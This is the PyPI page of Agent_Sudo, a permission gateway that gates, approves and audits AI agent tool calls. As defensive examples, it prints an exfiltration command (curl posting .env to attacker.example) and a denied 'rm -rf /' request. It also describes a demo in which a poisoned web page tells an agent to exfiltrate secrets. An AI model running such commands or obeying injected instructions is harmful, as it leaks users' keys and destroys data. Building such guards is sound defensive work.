Skip to main content

Local permission gateway for AI agent tool execution

Project description

Agent_Sudo

Agent_Sudo logo

PyPI v0.4.3 Official MCP Registry Glama MCP Server Score License

Agent_Sudo is a local permission gateway for AI agents. It classifies, authorizes, and logs the tool calls routed through it — applying provenance-aware policy, human approval gates, and scoped delegation before each action runs, and recording every decision to a tamper-evident audit log.

What Agent_Sudo Protects / Does Not Protect

What it is: a policy-and-provenance gateway with human approval gates, scoped delegation, and a tamper-evident (hash-chained) audit log — for the tool calls routed through it.

Protects:

  • Excessive agency — sensitive/critical actions (shell, critical file writes, external posts) require human approval before they run.
  • Untrusted-origin actions — actions whose provenance is external content (e.g. a fetched web page) are escalated or denied based on where the instruction came from, not its wording.
  • Tamper-evident audit — every decision is recorded to a SHA-256 hash-chained log that agent-sudo verify-audit can check for after-the-fact edits.
  • Scoped delegation — temporary, resource-limited tokens grant narrow access that expires automatically.

Does not protect:

  • Tools that bypass the gateway — a client's native tools or other MCP servers that don't route through Agent_Sudo are neither gated nor audited.
  • Prompt injection as a content-security problem — Agent_Sudo does not reliably detect injected instructions in prose. The built-in phrase detector is a best-effort tripwire that flags a few literal strings; the real protection is provenance-based escalation, not text matching.
  • OS-level isolation — it is not a sandbox; pair it with Docker/Firecracker for filesystem/process containment.
  • A compromised local environment — anyone with your local shell can approve pending actions or edit config directly.

See Trust Boundaries for the full table and the Security & Threat Model.

Quick Install for MCP Clients

Install the published MCP server:

pipx install agent-sudo-mcp
agent-sudo --version
agent-sudo init-approval
agent-sudo workspace set /ABS/PATH/TO/your/project
which agent-sudo-mcp

Add Agent_Sudo to Claude Desktop at ~/Library/Application Support/Claude/claude_desktop_config.json, using the absolute path returned by which agent-sudo-mcp:

{
  "mcpServers": {
    "agent-sudo": {
      "command": "/ABS/PATH/TO/agent-sudo-mcp",
      "args": []
    }
  }
}

Restart Claude Desktop, ask it to use an Agent_Sudo tool, then verify the action was routed through the gateway:

agent-sudo audit list

If the action is not listed, it bypassed Agent_Sudo. For the full setup and trust-boundary details, see the Claude Desktop Setup Guide.

Discoverability & Registry Status


Demo

Agent_Sudo Demo

Choose Your Path

Agent_Sudo is an authorization, approval, delegation, and audit engine for AI agents. The engine — embedded in your agent — is the product; the MCP server is a distribution channel and reference demo. Choose the path that fits your use case:

1. Python Agent Developers (primary integration)

Embed the engine in an agent built on PydanticAI, LangGraph, the OpenAI Agents SDK, or your own loop, to gate real tool execution in code. This is the path that protects production actions.

  • 30-Second Code Example:
    from agent_sudo.gateway import PermissionGateway
    from agent_sudo.models import ActionRequest
    from agent_sudo.policy import load_default_policy
    
    # Initialize gateway with local policy rules
    gateway = PermissionGateway(load_default_policy())
    
    # Gate tool execution in your application
    request = ActionRequest(
        actor="my-agent",
        source="user",
        tool="shell",
        action="run_shell_command",
        target="rm -rf /",
        payload_summary="recursively delete the filesystem root",
    )
    result = gateway.evaluate(request)
    if result.decision.name == "DENY":
        raise PermissionError(f"Blocked by Agent_Sudo: {result.reason}")
    
  • Framework Examples:

2. Claude Desktop / MCP Users

For developers running Claude Desktop or other MCP clients who want to observe and audit agent activity and try the policy engine live.

  • What is real here: policy classification, provenance-based escalation, approval/delegation, and a tamper-evident audit log over the tool calls routed through the server; read_file executes for real.
  • What is a demo: the write_file and run_shell_command tools are reference executorswrite_file only writes inside /tmp/agent-sudo-demo and shell runs a narrow allowlist. They demonstrate gating; they are not a drop-in way to mediate Claude Desktop's own file/shell tools. To gate real writes/commands, embed the engine (Path 1).
  • Installation: pipx install agent-sudo-mcp (recommended) or pip install agent-sudo-mcp; add the stdio server to claude_desktop_config.json.
  • Guide: MCP Server Setup Guide and Claude Desktop Setup Guide.

3. CLI / Security Operations

For system administrators and security engineers who want to audit agent logs, manage credentials, and configure temporary delegation tokens.

  • Install: pipx install agent-sudo-mcp (recommended) or pip install agent-sudo-mcp
  • Initialize: agent-sudo init-approval (sets up local passphrase for CLI confirmations)
  • Built-in Demo: Run agent-sudo demo to see policies in action.
  • Review Activity: Run agent-sudo audit list to see what your agent did — a readable table of each decision (time, decision, actor, action, target, reason). Add --limit N or --json.
  • Audit Verification: Run agent-sudo verify-audit <path/to/audit.jsonl> to verify cryptographic hash chain integrity.
  • Routing Evidence: Run agent-sudo verify-routing for a read-only report of whether actions are actually flowing through Agent_Sudo — configuration, observed gateway activity (record count + integrity), best-effort MCP-client wiring, and the standing trust-boundary limits. It reports observed signals only; it cannot certify that you are protected.

Supported Framework Examples

Agent_Sudo has pre-built example templates showing in-process integration for major Python agent frameworks:

  • OpenAI Agents SDK — pre-wrapping assistant tool functions.
  • PydanticAIcanonical end-to-end dogfood: a real (deterministic, offline) agent loop driving gateway decisions, real file I/O, scoped delegation, and verified audit.
  • LangGraph — securing tool node execution and graph states (examples/langgraph_integration.py).
  • agent-runtimes — registering the local tool hooks handler in config.

Why Agent_Sudo If I Already Use Docker?

A common question from security engineers and developers is: "Why do I need a policy gateway if I am already isolating my agents in a Docker container, gVisor sandbox, or Firecracker microVM?"

The difference is a separation of concerns:

  • Docker/Firecracker/Sandboxes answer: "Where can code run?" They isolate the process from the host operating system, preventing an agent from escaping to your local machine, but they do not monitor what the agent is doing inside the sandbox.
  • Agent_Sudo answers: "Should this action be allowed?" It operates at the intent and application logic level, evaluating the context, provenance, and authorization rules of individual actions before execution.

Practical Examples

Even inside a perfectly isolated Docker container, an agent with raw tool access can:

  1. Exfiltrate Secrets: Run curl -X POST -d @.env https://attacker.example to leak your API keys. A VM allows outbound network requests by default; Agent_Sudo detects the source trust and target, blocking the exfiltration.
  2. Write/Inject Code: Edit your project's main.py to insert a backdoor or dependency. While Docker prevents host pollution, it cannot prevent the agent from corrupting your project workspace. Agent_Sudo flags critical file edits and requires human confirmation.
  3. Perform Social Engineering: Send automated emails, Slack messages, or Discord alerts to external users containing phishing links under the guise of the agent owner. Agent_Sudo gates communication tools based on user approvals.
  4. Exceed Delegation Scopes: An agent running a automated build pipeline might accidentally or maliciously call tools outside its intended scope. Agent_Sudo uses temporary delegation tokens to automatically lock the agent out once its quota or time-to-live expires.

These two layers are complementary: use Docker/VM sandboxes to isolate environment resources, and use Agent_Sudo to validate tool execution intent. For a detailed technical breakdown, see Agent_Sudo vs. Container/VM Sandboxes.


[!IMPORTANT] Security Boundaries Notice:

  • Gateway, Not a Sandbox: Agent_Sudo is a local permission gateway and policy engine; it is not an OS-level sandbox or container. It gates tool access but does not isolate filesystem or process resources.
  • Best-Effort Shell Filtering: Shell command policy checks are best-effort unless reinforced by OS-level containment or custom runtime sandboxes.
  • Client Runtime Bypass: Native tools registered directly in host runtimes (e.g., Eino, Hermes) can bypass Agent_Sudo entirely unless those tools are disabled or explicitly routed through this gateway.

Trust Boundaries: What Is and Is Not Protected

Agent_Sudo only sees the tool calls that are routed through it. This is the single most important thing to understand before relying on it.

✅ Protected ❌ Not protected
Tool calls made through the agent-sudo MCP server (file reads/writes, shell, network) — gated, classified, and logged A client's own native/built-in tools (e.g. Claude Desktop's built-in file or web tools) that don't go through the agent-sudo server
Any runtime where dangerous tools are disabled or explicitly proxied through the gateway Other MCP servers you've installed that expose filesystem/shell/network directly to the agent
Intent-level decisions: provenance, approval gates, delegation scopes, audit OS-level isolation (use Docker/VM for that — see comparison)

How to make sure you're actually protected:

  1. Route the agent's risky capabilities through the agent-sudo MCP server (see the Claude Desktop Setup Guide).
  2. Disable or remove other tools that grant the agent direct file/shell/network access and bypass the gateway.
  3. Verify with the audit log. Ask the agent to perform an action, then run agent-sudo audit list. If the action is recorded, it went through the gateway. If it is not in the log, it bypassed Agent_Sudo and was not protected — that capability still needs to be disabled or routed through the gateway.

This is a deliberate scope choice, not a defect: Agent_Sudo governs intent and authorization for the tools it mediates. Pair it with OS-level isolation (Docker/Firecracker) for environment containment.


Core Features

  • Approval Gates: Prompts for interactive confirmation (CLI yes/no) on sensitive actions, and requires a local passphrase for critical actions (e.g., running shell commands).
  • Protected Reads: Automatically blocks reads targeting private files such as credentials, configuration folders, and shell startup scripts.
  • Critical Write Detection: Upgrades ordinary file writes to critical status if the target is executable code or configuration files.
  • Scoped Delegation: Allows humans to issue temporary, resource-limited permission tokens (e.g., allow read access to /path/to/project for 2 hours, max 10 uses).
  • Audit Logs: Records all tool attempts and gateway decisions to a local JSONL log file secured with a SHA-256 hash chain to detect log tampering. Review them in a human-readable table with agent-sudo audit list, or verify integrity with agent-sudo verify-audit.
  • Claude Desktop / MCP Support: Implements the Model Context Protocol (MCP) to plug directly into Claude Desktop as a stdio server.

Try it in 30 Seconds

Verify how Agent_Sudo classifies tool risk and makes gateway decisions using our built-in demo (no repository clone or config files needed):

# Run the built-in gateway interactive demo
agent-sudo demo

Flagship Demo: Block Exfiltration by Provenance

See provenance-aware policy enforcement in ~60 seconds. An agent reads a poisoned web page that tells it to exfiltrate your .env. Agent_Sudo denies the action because its origin is untrusted external content — not because it parsed the malicious wording — while allowing the user's own work, and writes a tamper-evident audit log. The decision turns on where the instruction came from, independent of how the injection is phrased.

Agent_Sudo provenance-based blocking demo

The demo lives in the repository (it is not part of the PyPI package), so clone first:

git clone https://github.com/Kisyntra/Agent_Sudo
cd Agent_Sudo/examples/exfil_demo && python demo.py

Walkthrough and expected output: examples/exfil_demo/.


5-Minute Quickstart

1. Install Agent_Sudo

Choose the installation method based on how you intend to use the gateway:

For CLI Users & Claude Desktop (MCP)

To run the CLI tools or the MCP server, install using pipx (recommended) to automatically manage your executable path and avoid global dependency conflicts:

pipx install agent-sudo-mcp

Note: If the agent-sudo command is not found after installation, make sure your pipx binary path is in your environment by running pipx ensurepath and restarting your terminal.

For Python SDK / Library Integration

If you are integrating Agent_Sudo programmatically within your agent codebase (e.g., PydanticAI, LangGraph), install the package into your project environment:

pip install agent-sudo-mcp

(If you are developing or running from source, see the Claude Desktop Setup Guide for editable installation).

Verify the installation:

agent-sudo --version
agent-sudo doctor

2. Initialize the Approval Passphrase

Set up a secure passphrase for approving critical actions (e.g. shell command execution):

agent-sudo init-approval

[!IMPORTANT] This passphrase is hashed locally (PBKDF2-HMAC-SHA256) and cannot be recovered. If lost, you must reset the approval configuration.

3. Set Your Workspace

Persist the fixed workspace that Claude Desktop and other MCP clients should use:

agent-sudo workspace set /ABS/PATH/TO/your/project

Verify that the saved workspace is the one you expect:

agent-sudo workspace show

4. Wire It Into Claude Desktop (required to actually be protected)

[!WARNING] Installing the package does not protect anything by itself. Until you route your agent's tools through Agent_Sudo, it sees no actions and gates nothing. Steps 1–3 only install and configure the CLI — you are not yet protected.

Add the MCP server to ~/Library/Application Support/Claude/claude_desktop_config.json (run which agent-sudo-mcp to get the absolute path). If you already ran agent-sudo workspace set, you can omit --workspace; the MCP server reads the persisted value from ~/.agent-sudo/config.json.

{
  "mcpServers": {
    "agent-sudo": {
      "command": "/ABS/PATH/TO/agent-sudo-mcp",
      "args": []
    }
  }
}

Restart Claude Desktop, then confirm your agent's actions are actually flowing through the gateway:

# After asking Claude to do something, you should see it here:
agent-sudo audit list

If an action you asked the agent to perform is not in agent-sudo audit list, it bypassed the gateway and was not protected — see the Claude Desktop Setup Guide (full options + trust boundary) and Trust Boundaries below.


Contributor Setup

If you are developing Agent_Sudo or integrating it with a custom runtime:

# Clone the repository
git clone https://github.com/Kisyntra/Agent_Sudo.git
cd Agent_Sudo

# Install in editable mode
python3 -m pip install -e .

To run unit tests:

python3 -m unittest discover -s tests

Ecosystem

We work with agent runtime maintainers and external implementers to define portable authorization and audit standards:

  • Official Integrations:
    • agent-runtimes — Merged (PR #98) local plugin hook handler (agent_sudo_local).
  • Active Implementations:
    • LexFlow — In-progress design review (#124) for native JS/TS client audit logging and verification.
  • Research & Local PoC:
    • Hermes — Experimental architecture research (#34992) targeting registry-level dispatch gating.
  • Public Listings:

For a full compatibility matrix and integration details, see the Ecosystem Status Guide.


Documentation Directory

Directory / Section Topic Key Files
First Run Getting started tutorial docs/first_run.md
Troubleshooting Diagnostics and resolution steps docs/troubleshooting.md
Integrations Connecting to runtimes and IDEs docs/integrations/overview.mdEcosystem StatusOutreach PlaybookAdoption DashboardDiscoverability NotesLexFlow ReadinessLexFlow ChecklistClaude DesktopMCP Setupagent-runtimesHermes (Research)
Framework Integrations Direct SDK gating for agent frameworks LangGraph Integration Guideexamples/langgraph_integration.py
Architecture Abstractions and core pipelines docs/architecture/overview.mdLayered ArchitectureEnforcement Model
Specifications Language-agnostic standard models spec/runtime_compatibility_levels.mdUniversal SchemaPolicy & AuditInteroperability Test Kit
Security Threat modeling and limits docs/architecture/security_model.md
Comparisons Policy vs Container Sandboxes Docker & Firecracker comparison

CI/CD & Release Automation

Agent_Sudo uses GitHub Actions to automate checks and distribution:

  • Continuous Integration: The CI workflow runs on all pushes and pull requests targeting the main branch, running the unittest suite, scanning for personal path disclosures, executing git diff --check whitespace validation, and verifying Python package compilation.
  • Automated Releases: Releases are generated automatically when a git tag matching v* is pushed.
    • Release candidate tags (e.g. v0.4.0-rc12) are published as GitHub Prereleases and are explicitly excluded from being marked as the latest release.
    • Release notes are automatically parsed and extracted from the matching version entry in CHANGELOG.md.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

agent_sudo_mcp-0.5.0.tar.gz (110.5 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

agent_sudo_mcp-0.5.0-py3-none-any.whl (75.3 kB view details)

Uploaded Python 3

File details

Details for the file agent_sudo_mcp-0.5.0.tar.gz.

File metadata

  • Download URL: agent_sudo_mcp-0.5.0.tar.gz
  • Upload date:
  • Size: 110.5 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for agent_sudo_mcp-0.5.0.tar.gz
Algorithm Hash digest
SHA256 bf86f62b29ed0ba9e9d9fcb455d10002ec0ae9dcd9da68525e31c04356efc0d4
MD5 d75dd8976624df7b2863c02799ed015b
BLAKE2b-256 be3d8a1eb78546f0ffe0095d966665108ad322c95e3755e4f6635ee1cbb0d1a4

See more details on using hashes here.

Provenance

The following attestation bundles were made for agent_sudo_mcp-0.5.0.tar.gz:

Publisher: publish.yml on Kisyntra/Agent_Sudo

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file agent_sudo_mcp-0.5.0-py3-none-any.whl.

File metadata

  • Download URL: agent_sudo_mcp-0.5.0-py3-none-any.whl
  • Upload date:
  • Size: 75.3 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for agent_sudo_mcp-0.5.0-py3-none-any.whl
Algorithm Hash digest
SHA256 b3b61ed9ec5e848c2175a8934ee3f54c347a0f9a4a3fa9567f84d60631e95f40
MD5 434b377df2d19c275922dfc5842d7694
BLAKE2b-256 efd1c7ff8352fcdb5f851bca0cff38381cb4e5ee7c64129f3e9e432d6a522815

See more details on using hashes here.

Provenance

The following attestation bundles were made for agent_sudo_mcp-0.5.0-py3-none-any.whl:

Publisher: publish.yml on Kisyntra/Agent_Sudo

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page